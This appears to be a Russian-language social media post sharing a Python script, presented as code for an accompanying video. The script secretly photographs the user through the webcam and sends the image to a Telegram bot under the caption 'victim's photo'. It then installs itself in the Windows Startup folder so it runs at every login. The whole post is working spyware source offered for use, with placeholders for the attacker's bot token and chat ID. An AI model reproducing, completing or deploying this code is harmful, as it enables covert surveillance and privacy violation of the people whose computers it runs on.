Код к видео сверху, жду много реакций:
import cv2
import requests
import datetime
import os
import sys
import winshell
from win32com.client import Dispatch
BOT_TOKEN = '...' #токен вашего бота
CHAT_ID = '...' #ваш чат ID
def capture_image():
cap = cv2.VideoCapture(0)
if not cap.isOpened():
print("Не удалось открыть веб-камеру.")
return None
ret, frame = cap.read()
if ret:
timestamp = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")
filename = f'image_{timestamp}.jpg'
cv2.imwrite(filename, frame)
print(f"Фото сохранено как {filename}")
cap.release()
return filename
else:
print("Не удалось захватить изображение.")
cap.release()
return None
def send_image_via_telegram(image_path):
url = f'https://api.telegram.org/bot{BOT_TOKEN}/sendPhoto'
with open(image_path, 'rb') as image_file:
files = {'photo': image_file}
data = {'chat_id': CHAT_ID, 'caption': 'Фото жертвы:'}
response = requests.post(url, files=files, data=data)
if response.status_code == 200:
print("Фото успешно отправлено через Telegram.")
else:
print(f"Не удалось отправить фото. Статус-код: {response.status_code}")
def add_to_startup(file_path=None, key_name="CameraTelegramBot"):
if file_path is None:
file_path = os.path.abspath(sys.argv[0])
startup_dir = winshell.startup()
shortcut_path = os.path.join(startup_dir, f"{key_name}.lnk")
if not os.path.exists(shortcut_path):
shell = Dispatch('WScript.Shell')
shortcut = shell.CreateShortCut(shortcut_path)
shortcut.Targetpath = sys.executable
shortcut.Arguments = f'"{file_path}"'
shortcut.WorkingDirectory = os.path.dirname(file_path)
shortcut.IconLocation = file_path
shortcut.save()
if __name__ == "__main__":
image = capture_image()
if image:
send_image_via_telegram(image)
add_to_startup()